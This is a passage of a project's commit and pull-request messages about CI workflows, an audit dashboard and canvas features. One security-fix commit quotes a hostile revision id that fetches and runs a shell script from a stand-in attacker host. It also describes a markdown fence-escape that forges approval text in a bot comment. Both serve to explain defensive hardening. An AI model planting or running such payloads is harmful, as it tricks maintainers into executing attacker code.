- views/enterprise/Audit.vue — paginated table + filter form + side
  detail panel.
- stores/auditLog.js — domain store (entries, filters, distinct lists,
  pagination, selectedEntry). Default time window = last 24h.
- router/index.js — /enterprise/audit route with
  meta.requiresEntitlement = 'audit'.
- views/enterprise/Index.vue — audit card flipped to Available; SSO
  card kept as Coming soon.
- Login.vue — removed the SSO provider buttons mock.
- Deleted views/enterprise/SSO.vue (350-line mock).

Submodule (trinity-enterprise):
- register_module("audit") replaces register_module("sso").
- Deleted backend/sso/{router,providers,__init__}.py.
- See trinity-enterprise#feature/941-audit-registration.

Entitlement model: backend stays OSS (audit_log endpoints predate the
seam via SEC-001 / #20 — retroactive gating would break OSS admins).
Only the OSS-side dashboard route is enterprise-gated.

Tests:
- New tests/unit/test_847_audit_dashboard.py (6 cases): distinct DB
  ops, router ordering invariant, admin gate, no-entitlement-gate
  pin.
- Updated test_847_entitlement_seam.py: 'sso' → 'audit' assertions,
  new submodule static check.
- New e2e/audit-dashboard.spec.js (Playwright, 4 cases).

Docs:
- audit-trail.md — Phase 5 row + Frontend Layer section.
- enterprise-modules.md — current-state note + audit registration code.
- architecture.md — distinct endpoints added to audit-log table.

PR #910 scope expands to close both #847 (seam) and #941 (dashboard).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* docs(security): CSO --diff report for #941 audit dashboard

No critical or high findings. 3 low-severity stale-doc items, already
deferred during /review (I3).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* docs(audit): sync feature-flows index + add Phase 5 tests section (#941)

audit-trail.md: document the new test_847_audit_dashboard.py cases +
Playwright audit-dashboard.spec.js coverage.

feature-flows.md index: bump audit-trail row to Phase 5 (dashboard),
update Phases 1–4 row to "Merged" rather than "to follow".

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(audit-dashboard): stats tiles, time presets, drill-down, verify, export (#941 v2)

Expands the v1 dashboard from "viewer" to "review tool" using only
existing backend endpoints — zero backend changes.

Added:
- Stats tiles header (Total / Top event_type / Top actor_type / Time
  window). Backed by GET /api/audit-log/stats; same time-window
  semantics as the table. Top-event/Top-actor tiles are clickable
  drill-downs.
- Time preset chips (Last 1h / 24h / 7d / 30d / All time). Manual
  edits to the time fields flip the active chip to "Custom".
- Inline cell drill-down: clicking an event_type cell sets that
  filter; clicking the actor cell filters by actor_id (or actor_type
  fallback). Stops row-click propagation so the side panel still
  opens elsewhere on the row.
- Hash-chain verify badge in header. Manual button to verify the
  visible id range via POST /api/audit-log/verify; pill turns green
  ✓ on success or red ✗ with the first-invalid id on failure.
- Export buttons (CSV / JSON) in the filter footer. Uses fetch +
  Blob + object URL so we can attach the JWT (a plain <a href>
  can't). Filename: audit-log-{iso-timestamp}.{ext}.

Store additions:
- stats / statsLoading + loadStats()
- verifyState / verifyResult + verifyChain()
- exporting + downloadExport(format)
- activePreset + applyTimePreset(key)
- drilldownFilter(key, value) helper

Tests:
- 2 new Playwright @smoke cases (preset chip click, event_type
  drill-down). Existing 4 cases unchanged.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(audit-dashboard): dow×hour + GitHub-style calendar heatmaps + foldable card (#941 v3)

Adds two new admin-only audit-log endpoints and a unified foldable
Activity card on the dashboard.

Backend (OSS — same pattern as the existing /stats and /distinct/*):
- GET /api/audit-log/heatmap  — sparse 7×24 dow×hour grid
- GET /api/audit-log/calendar — sparse per-day list (GitHub-style)

Both honor start_time / end_time / event_type / actor_type so the
two views stay coherent with the table + stats under drill-down.

Frontend (OSS, entitlement-gated by 'audit'):
- Single foldable Activity card with Weekly | Calendar tabs
- v-show keeps both heatmaps mounted — tab swap is instant
- Calendar cell click → drilldownToDay(date) narrows the dashboard
  to one UTC day and reloads list + stats + both heatmaps together

Tests: +8 unit tests covering bucketing, filter pass-through, router
ordering vs /{event_id} catch-all (invariant #4), empty-window
contract. Full suite: 14 pass.

Docs: architecture.md endpoint table + audit-trail.md Phase 5 v3 /
v3.1 rows + endpoint descriptions + test catalog.

Related to #941.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(ci): sys-modules lint + OSS-only skip for audit dashboard e2e (#941)

Two CI fixes on PR #910:

1. Lint (sys.modules pollution): the audit-dashboard fixture had three
   bare sys.modules writes that exceeded the per-file baseline. Routed
   them through monkeypatch.setitem / monkeypatch.delitem so the
   baseline diff goes from +3 → 0.

2. Audit dashboard e2e suite was hard-coded to fail when the private
   enterprise submodule isn't checked out (the default on PR-time CI
   without a deploy-key secret). Added a per-test skip that probes for
   the Enterprise nav and skips the suite cleanly when absent. The
   route-guard / nav-hiding behavior in OSS-only mode is already
   covered by the unit tests in tests/unit/test_847_audit_dashboard.py.

The api-keys-copy.spec.js failures in the same e2e run are a
pre-existing modal-overlay flake unrelated to #941 — touched outside
this PR.

Related to #941.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(deploy): enterprise overlay so dev VM ships audit dashboard (#847)

The Deploy-to-Dev workflow currently bypasses the enterprise submodule
entirely: it doesn't init it, and the Dockerfile doesn't COPY it. The
dev VM has been silently OSS-only since the seam landed.

This adds an enterprise-overlay pattern that keeps the public prod
image bit-identical to OSS while making enterprise features available
on dev:

- docker-compose.prod.enterprise.yml — single-service overlay that
  bind-mounts ./src/backend/enterprise into /app/enterprise (ro). The
  conditional `from enterprise.backend import register_enterprise` in
  main.py resolves the bind-mounted path on container start.
- .github/workflows/deploy-dev.yml — init the submodule after pull
  (soft-fail with a clear marker so a missing deploy key doesn't brick
  the deploy), then layer the overlay onto build + up. Compose merges
  the volumes additively; no override of existing prod.yml mounts.
- docs/dev/ENTERPRISE_LOCAL_DEV.md — new "Dev VM deploy" section with
  the one-time deploy-key setup (deploy key on trinity-enterprise +
  ~/.ssh/config alias on the VM) and the post-deploy verification step.

Verified locally: `docker compose -f docker-compose.prod.yml -f
docker-compose.prod.enterprise.yml config` merges cleanly; the import
path resolves in the existing local container (which already
bind-mounts the wider src/backend tree); /api/settings/feature-flags
returns `enterprise_features: ["audit"]`.

OSS path unchanged. The base Dockerfile and docker-compose.prod.yml are
untouched, so build-without-submodule.yml CI guards stay green.

Related to #847.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* test(api-keys-copy): swap UI cleanup for API DELETE — fits 30s budget (#677)

The two @smoke tests in `api-keys-copy.spec.js` were timing out at the
final cleanup step on slow GH-Actions runners. The pattern:

  Create modal → fill → Create → success modal → Copy → readClipboard
  → close → cleanup (revoke modal → confirm → delete modal → confirm)

is ~9 sequential UI ops. On a constrained runner each takes 1-3s, so
the per-test 30s budget would drain right around cleanup, and
`page.waitForTimeout(200)` would resolve into "Target page closed".

Replace the UI cleanup walk with `page.request.delete('/api/mcp/keys/{id}')`
using the JWT from `localStorage['token']` (`stores/auth.js:201`). The
backend DELETE handler hard-removes the row regardless of active /
revoked state, so the UI-enforced revoke-then-delete sequence isn't
needed for cleanup. The clipboard assertions earlier in the test still
cover the actual #677 / #859 regression — UI cleanup was never under
test.

Reduces cleanup time from ~6s of UI clicks to one HTTP DELETE.

Related to #677, #859. Unblocks PR #910 CI.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
vybe pushed a commit that referenced this pull request Sep 8, 2026
…#2590)

* docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533)

Requirements-first (Rule #1) for the #2533 watcher.

`requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is
STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
it tests the merge result correctly. GitHub recomputes that ref when the base
advances but does not re-trigger workflows, so #2526's last green run described
a base that no longer existed.

`architecture.md` Invariant #3 gains two sentences on the same point, amending
the "One head per version-line (#2068)" passage rather than restating the fork
mechanics already documented there.

Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's
"bug fix: commit message only" — the deliverable is a new always-on CI service
with a new PR-facing signal and a new permission scope.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* ci(alembic): re-check open migration PRs against the live dev tip (#2533)

#2526 merged carrying an Alembic head fork that every pre-merge signal reported
as clean. Not a checkout bug: `schema-parity` runs the single-head guard
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
the guard was testing the merge result and was correct. It was STALE — that run
happened 75 minutes before the competing revision landed on `dev`, and GitHub
recomputes the merge ref when the base advances without re-triggering workflows.

`alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED
— over an in-memory merge of each open migration PR against the live `dev` tip.

The trigger is the precise one: a push to `dev` touching
`src/backend/migrations/versions/**` is the exact moment every open migration
PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop
(and fires only from `main`, since `schedule:` runs from the default branch).

`git merge-tree --write-tree` makes no commit and touches neither the working
tree nor the index, so this workflow structurally cannot push; its exit contract
(0 clean / 1 conflict / else error) distinguishes a conflicting PR from an
infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941
got wrong. Because the PR is never checked out and the only PR bytes on disk are
revision files read by `ast.parse`, no PR-authored code executes — which is why
this is one job rather than backend-unit-nightly.yml's three-job split.

Reporting is idempotent in both directions: a commit status (the alarm at the
merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR
never gains a sticky; `conflict` and `unknown` publish no status, because a
false all-clear on a check that never ran is the #2029 failure. Advisory by
design and never a required context — the pg-migrations precedent.

The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach
a workflow that exists only on a feature branch, so without it a change here
would be unverifiable until after it merged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(ci): guard the Alembic head watcher's load-bearing properties (#2533)

36 tests. Static guards over the workflow in the shape of
test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every
string assertion run against the YAML with COMMENT LINES STRIPPED — this
workflow's own header says it "cannot push" and "never checks out the PR", so a
naive substring search matches the prose and passes while the shell does the
opposite.

Pinned: the push trigger stays restricted to `dev` + the version line; the
pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git
command appears anywhere; merge-tree's conflict and error arms stay
distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines
reach the guard; the enterprise arm stays guarded against absence; a forked
`dev` evaluates no PR; a sweep that produces nothing fails the run.

The verdict module is EXECUTED, not grepped — it is the one path that can
publish a green tick for a check that never ran. Includes the coupling neither
file can see: the guard's real output, produced by running
check_alembic_heads.py on a reconstruction of #2526's fork, is fed to
parseGuardOutput, and the resulting fix instruction is asserted to name
`0050_agent_canvases` — what #2526 actually did.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(ci): close the nine review findings on the Alembic head watcher (#2533)

Three independent reviews (autoplan strategy, autoplan engineering with
mutation testing, and Codex gpt-5.5 adversarially) returned "ship with
changes". These are the nine, ordered by what they could do to a run.

M1 — the self-test could not run at all. The verdict module is require()d
from the workspace, and the workspace is dev, so `alembic-head-verdict.js`
was never exercised by the arm that exists to exercise it — and on the PR
that ADDS the file the baseline step hard-failed with "missing from dev".
A second SPARSE checkout of scripts/ci into a side path supplies the PR's
copy, gated on `pull_request` AND same-repo. The python guard is never
sourced this way: it is the assertion dev enforces.

M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit
only because pipefail survives `set +e`; without it a CONFLICTING PR was
classified clean and published a green status for a check that never ran.
Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the
warning. That also gives M2b's discriminator free — measured on git 2.50.1,
an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1
with the merged tree's OID, so exit 1 alone answered an infrastructure fault
by telling an innocent author their PR conflicts.

M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line
made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>`
fallback written for that case never printed. `|| true`.

M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending
run. Harmless between two push runs (a later sweep subsumes an earlier one),
not harmless across events: a dry-run self-test could silence a real push
run. Group keyed on the event.

M5 — six of eight load-bearing mutations survived the suite. Added guards for
the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the
merge-tree error arm (scoped to the evaluate step, not every run: block), the
500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring.
19/19 mutations now killed.

M7 — one try/catch wrapped the status, the comment guard and both comment
calls. A throwing status call skipped the comment entirely, so on `fork` —
the one outcome this exists to be seen on — the human saw nothing and the run
passed. Separate try/catch per signal; setFailed when neither published.

M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body`
was never true and "skipped when unchanged" was unimplementable. Compare
through `stickyBodiesMatch`, which normalises the run id away.

M9 — `git archive` can emit symlinks and the guard read_text()s every *.py
it globs; a link at an unbounded source can hang or OOM a job holding write
scopes. Disclosure was already closed (ids and filenames only reach output);
this closes the resource path, in the workflow rather than the guard.

88 passed, 2 skipped; actionlint rc=0.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533)

M6 was a doc claiming a control that does not exist: §8.11 said extraction is
"capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING,
not extraction — the tree is already on disk by then and bounded by the repo.

The rest of this is the same class, caught while fixing the code:

- HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything
  else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable
  ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's
  OID. Records the tree OID as the discriminator, the file redirect that
  removes the pipefail dependency, and the symlink sweep.
- HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL
  made that unreachable. Records the normalised comparison, and M7's separate
  failure domains for the status and the comment.
- HEADW-008/009 said "the PR is never checked out", which stops being true
  verbatim once the self-test sources its own scripts/ci. Records the narrower
  true statement — the guard's workspace is dev only — and the same-repo gate.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(flows): record where the Alembic head guard's freshness comes from (#2533)

/sync-feature-flows: NO new flow doc, and the precedent is written down rather
than inferred — database-migration-runner.md's Related Flows already covers this
guard and says in as many words "No flow doc of its own: the mechanism is one
stdlib script". The index's own scope is UI → API → Database → Side Effects,
which a CI workflow has none of.

So the delta is to amend that paragraph, which had become misleading: it named
`schema-parity` as the pre-merge guard without saying that run is fresh only at
PR-event time. Someone triaging a fork that shipped green would read it and
conclude the guard had failed, when it had merely aged.

Index row added anyway (the "always add a row" rule), pointing at the flow it
amends.

Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows
against #1360's ~20 cap, and the index is 522 lines against the skill's 400.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533)

/review + /cso --diff on the branch. Both reviews landed on one real defect,
in the new verdict module rather than the workflow.

`alembic-head-verdict.js` renders two values that come out of the PR's OWN
revision files — `revision = "<any string>"` and the committed filename — into
a comment authored by `github-actions[bot]`. On a public repo any fork author
picks them, and the fork arm is exactly the path that fires. Proven by
execution against the real guard before the fix:

  * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived
    `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion —
    a command the comment invites a maintainer to paste into a shell.
  * An id carrying a newline plus a triple backtick closed the hard-coded
    fence around the quoted guard output, putting attacker markdown
    ("**Reviewed and approved — safe to merge.**") into the bot's comment.

Neither is code execution on the runner — revision files are only ever
`ast.parse`d (HEADW-008) — both are the comment being made to say something
its author did not write, which is the only reason anyone trusts it.

  * `isSafeRevisionId` gates interpolation into the pasteable command on
    `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything
    else degrades to the generic `<head-a> <head-b>` placeholder. Nothing
    diagnostic is lost — the verbatim guard output above it still names the
    real ids.
  * `fenced()` opens the quoted block with one backtick more than the longest
    run inside it. CommonMark closes on the first run >= the opening fence, so
    a hard-coded ``` is escapable by any input that contains one.

Also: the `fork` comment now says when it clears, the way `conflictBody`
already did. Without it an author who rechains and pushes sees a stale
warning until the next push to `dev` (their own push does get a fresh,
correct `schema-parity` run — it is the sticky that lags).

Tests: 3 added, all three mutation-killed, including the control that proves
an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built
end-to-end through the real `check_alembic_heads.py`, since the hostile ids
have to survive its formatting before they reach the module.
57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green.

Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the
class (CI that comments on a PR is a rendering surface for PR-controlled text).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(ci): order HEADW-010 before HEADW-011 (#2533)

HEADW-011 was appended when the attacker-controlled-rendering finding
landed and took 010's slot, leaving the numbered list out of order.
No content change to either requirement.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Co-authored-by: sim <sim@example.com>
dolho added a commit that referenced this pull request Sep 8, 2026
Reported from hands-on testing: pressing PDF offered to export the entire page.
Correct report — the print stylesheet only STYLED the document and never hid
anything else, so `window.print()` printed the nav bar, the tabs, the
on-screen panel AND the print copy. That is not "one clean column" by any
reading (AC #4), and it is the first thing anyone pressing the button hits.

Two halves, both required:

* a print rule that hides every `body` child except `.canvas-print-root`;
* the print copy TELEPORTED to <body>, so it is a body child and the rule can
  spare it. Nested inside the app the rule would hide its ancestor and print
  nothing at all — worse than the bug.

`body > *` rather than a class on the app root: it needs no knowledge of how
the app is mounted and works identically on the standalone shared page, which
keeps AC #7's "identical from every surface" true rather than approximately
true. The copy is rendered only while printing (`v-if="printing"` + a
`nextTick` flush before `print()`, since printing a not-yet-rendered teleport
yields a blank sheet), so the DOM carries no permanent hidden duplicate.

`canvasPrintIsolation.spec.js` pins all three structural facts. Nothing
automated can inspect a print preview, which is exactly why the bug shipped —
so the guard asserts the mechanism instead: the hiding rule exists, the root is
teleported to body, and the document mounts before print() is called.
Mutation-tested: removing the hiding rule fails it.

Also fixes a design-system violation the ratchet caught in the same file:
`SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now
`viewState()` — loading means "no data yet", never "a fetch is in flight"
(#1927, design-system p13-p15). The page fetches once today, so this is the
rule holding rather than a bug fixed; it stays correct if a refresh is added.
Baselining my own new violation was the alternative and would have been the
wrong one.

Related to Abilityai/trinity-enterprise#554

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ
louisss1016 pushed a commit to louisss1016/trinity that referenced this pull request Sep 13, 2026
…o it inverted the operator's intent (Abilityai#2411)

`GET /api/settings/ops/config` nests settings TWICE, and `Settings.vue` read
them flat:

    { settings: { ssh_access_enabled: { value: "true", default: "false", … } } }

`response.data.ssh_access_enabled` is `undefined`, `undefined === 'true'` is
`false`, and the switch rendered OFF whatever was stored. Because the click
handler computes `!sshAccessEnabled.value`, the FIRST click then always sent
`true` — an operator with ephemeral SSH enabled, clicking to DISABLE it,
re-enabled it and watched it render as off. The write path was always correct,
so the mismatch was one-sided: a change appeared to stick for the session and
silently reverted on reload, which is why it went unnoticed.

## The issue's own suggested fix is not sufficient

Abilityai#2411 proposes `response.data.settings?.ssh_access_enabled`. That is still
wrong, for the same underlying reason: `get_ops_settings` builds a DESCRIPTOR
per key (`value`/`default`/`description`/`is_default`), so it resolves to an
object and `object === 'true'` is `false` — the toggle would still have rendered
OFF while looking fixed. The `.value` hop is the one that matters. Pinned by its
own test so the half-fix cannot be reintroduced as a "simplification".

## Why a pure module rather than a one-line edit

`Settings.vue` cannot be mounted in this project's test setup — `@vue/test-utils`
is not a dependency and vitest runs `environment: 'node'` — so a rule kept
inline is a rule no test can reach. That is exactly how a one-line read bug
survived inside a security control, and it is the reason the issue says the
value is in the test rather than the fix.

`utils/opsSettings.js` owns both spellings: `readOpsBool` for the read and
`opsBoolValue` for the write, together in one file instead of at opposite ends
of a 3500-line SFC, which is what let them drift in the first place. It accepts
the descriptor form and a bare string, since the only thing separating them is a
wrapper the reader does not need.

Everything unreadable degrades to `false` (AC Abilityai#4) — absent key, absent
`settings`, null payload, a number, `settings` that is not an object. `false` is
the SAFE direction: `ssh_access_enabled` defaults to `"false"` server-side, and
a security control that cannot read its own state must not claim the permissive
one.

The endpoint is untouched, per the issue's explicit instruction: `PUT
/ops/config` takes the nested shape and the other ops readers depend on the
current contract. The endpoint is the side that is right.

## Verification

18 tests, and each side of the fix mutation-checked rather than assumed:

- reader reverted to `payload?.[key]`            → 4 failed
- SFC reverted to the flat read that shipped     → 2 failed
- restored                                        → 18 passed

AC Abilityai#5 is pinned rather than eyeballed once: a test asserts `ops/config` is read
in exactly one place, so a second GET added later has to come through the same
reader. Full frontend suite 64 files / 1454 tests; `vite build` clean.

Closes Abilityai#2411

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
louisss1016 pushed a commit to louisss1016/trinity that referenced this pull request Sep 13, 2026
…d slice)

Reported: pressing New chat in the Workspace drops you back into the existing
conversation with that agent. Decided at the 2026-08-21 weekly.

ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know
which thread" and "I want a fresh one", and the platform resolved it as the
first, in both readers:

    _resolve_session_id(..., None)  -> resume the client's latest
    get_history(..., None)          -> return the most-recent thread

Both readings are RIGHT for the case they were written for — a deep link, a
refresh, an API caller that never held a session id — so neither could be
inverted. The intent had to become sayable: `new_thread` on the request,
`newChat` on the component, checked before the resume.

The frontend tell was an asymmetry: New chat with the agent you were ALREADY on
started fresh, while New chat with a different agent resumed. The watcher read a
changed agent as "load that agent's history" and called `fetchHistory(name,
null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just
set to mean the opposite.

MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is
complexity-high and this PR is not:

* the data model already allows many sessions per (agent, client) — no UNIQUE
  constraint, a `title` column, an index on
  `(agent_name, client_email, last_message_at)`, and auto-titling. AC Abilityai#4's
  "migrates cleanly" is nothing to migrate.
* AC Abilityai#2's list is the existing sidebar: titles, recency, starred lifted out,
  search, per-agent avatars.
* AC Abilityai#3's landing rule is already decided and documented in
  `ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate
  beside the conversation. UNCHANGED here, and pinned by a test so this cannot
  move it silently. It matters MORE once several chats exist, not less.

So what was missing is AC Abilityai#1, and it is two bits rather than a data model.

Four properties:

* An explicit `session_id` WINS over the flag. A caller sending both contradicts
  itself; the id is a fact, the flag an intent, and abandoning a named thread
  would strand a turn meant for a conversation the caller could see.
* The ownership check runs first either way — the flag is never a route past it.
* BOTH turn entry points carry it. The Workspace uses the streaming path and
  falls back to the synchronous one, so a flag honoured by only one brings the
  bug back exactly when streaming fails.
* The intent is spent on adoption. The send guard already ANDs on "no session
  yet", so a second turn was never going to open a third thread; clearing it in
  `onSessionAdopted` keeps the two bits from disagreeing after a navigation.

Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and
four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a
stub that must be edited for every new parameter is a second signature — and one
hand-rolled `_Body` model double gained the field. All are stale stubs rather
than behaviour changes.

Verification: 392 passed across the portal/ent#286/Abilityai#287/Abilityai#358/Abilityai#429/Abilityai#430/Abilityai#451
selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and
letting it override an explicit session id, each turn the suite red. The full
backend suite exceeds a local foreground run and is left to CI.

Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and
`test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are
fixed in Abilityai#2427.

Related to ent#451

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
vybe pushed a commit that referenced this pull request Sep 14, 2026
…ile (ent#553) (#2619)

* feat(canvas): delete, pin, search and a stated bound for the canvas pile

An agent that uses its canvas the way ent#438 intends accumulates dozens: one
per report, per topic, per run. The Workspace could only ever ADD to that pile
— the client-portal surface had no delete at all, the only ordering was "newest
updated", and nothing bounded the table.

Two decisions, both by operator ruling 2026-09-08, recorded because each had a
plausible alternative:

**Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner
deletes the shared artifact. This NARROWS the platform DELETE route, which
accepted any user with agent access; safe because no UI called it, so no
workflow depended on the wider gate. A canvas is one shared surface with no
per-user copy, so a non-owner has no "hide it from my list" middle ground: per
AC #2 they see no control at all rather than one that 403s. Agents keep
clearing their own (`clear_canvas`, the #918 self-gate).

**The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no
retention window" because the composite key bounds rows per canvas — but
`canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed,
not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside
`upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it
is not a check-then-act race. Updating an existing canvas is NEVER refused — a
cap that froze updates would punish exactly the agent that reuses ids — and the
refusal is a named 409 telling the agent to retire one, never an eviction:
deleting a person's surfaces on a timer is the #1638 failure direction.

Both surfaces resolve permission through `db.can_user_share_agent`, the same
predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot
disagree about who owns an agent. The Workspace learns it from
`PortalAgentCard.can_manage_canvases` — the portal's only capability channel
(#2128), since a portal principal cannot read `/api/settings/feature-flags` —
and it fails closed.

`pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT
0, no backfill) is written only by the human pin route and is deliberately
absent from every agent-facing tool: `audience` is the agent's decision about
who may read, `pinned` is the reader's about what they see first, and an agent
that could pin itself to the top would defeat the ordering. A pin survives the
agent rewriting the canvas.

Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering
layer, per ent#475): search once the list passes six, a height-bounded strip so
a long list does not cost the rail its other tabs, and a Manage mode giving
each row its age, stale mark, pin and delete. Decidable rules are pure in
`canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so
a rule inside the SFC is one no test can reach.

Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are
permitted-but-unreliable and this one is not optional), declared above the
parameterized routes on both routers (Invariant #4), and it reports the ids
that EXISTED rather than the ids requested so "3 of 5 removed" is sayable.

Three pre-existing guards failed and each was right to: `empty_canvas` was
missing the new field (a real bug in this change, fixed), the self-gate guard
needed to learn the new gate's name, and the positional-read guard needed its
synthetic row extended — that one exists precisely because `_row_to_summary`
reads by index.

Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and
survival, bulk scoping, the permission matrix on both surfaces, route ordering,
dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest
cases for the pure rules. Verified against a real database: the cap refuses the
4th of 3, updates still succeed at the cap, a pin outranks recency and survives
a rewrite, and bulk delete returns only the ids that existed.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): audit the single delete, cover the default canvas, document the lifecycle

Closes the three acceptance criteria the first commit left open:

* AC #1 asked for the deletion to be audited and only the BULK route was —
  the single-canvas route is the one a person actually clicks. Logged only
  when something was removed, since the route is idempotent and a repeat
  click would otherwise fill the trail with events where nothing happened.
* AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the
  next write, and frees a slot against the cap. `main` is the id both the
  MCP tools and the voice panel fall back to, so it is the one most likely
  to be deleted by accident and the one whose deletion must strand nobody.
* AC #9: the user doc gains a "Removing canvases" section stating the
  permission rule, the cap, and that nothing is ever deleted to make room.

Also records a latent pre-existing mismatch found while testing:
`empty_canvas` returns None timestamps while `models.Canvas` requires
strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only
caller declares no `response_model` — but adding one there would turn the
voice teardown poll into a 500. Left as a comment where the next person to
reach for that will meet it, rather than fixed out of scope.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* test(canvas): patch the cap where the live code reads it, not where the test imports it

Two ent#553 tests passed in isolation and failed in a full-suite run:
`test_the_cap_refuses_a_new_canvas_by_name` and
`test_deleting_the_default_canvas_frees_a_slot_against_the_cap`.

Order-dependence, not a defect in the feature. They patched
`db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier
test in the suite evicts that module from `sys.modules`, so the fresh import
hands back a NEW module object while the live `db._canvas_ops` is still an
instance of the OLD class — whose `upsert_canvas` reads the OLD module's
globals. The patch lands somewhere nothing consults, the cap stays at its
default of 100, and the "refuses the 4th of 3" assertions fail.

`_set_cap` patches the bound method's own `__globals__`, which is whichever
module dict the running code actually closes over — correct whether or not an
eviction happened, so it does not depend on knowing which test pollutes.

Same failure and same fix as #2589, where the identical shape bit
`mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a
module attribute is only as good as the assumption that the live object came
from that module object, and in a suite that evicts modules that assumption is
not free.

The feature is unchanged — this touches only the test file.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* fix(canvas): re-parent the pinned revision, and make the canvas cap reachable

Two review items from #2619.

**Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared
`down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has
since landed on `dev` — two heads, and `alembic upgrade head` resolves its
single target before applying anything, so EVERY revision merged since the
fork stops arriving, not just one. Re-parented onto
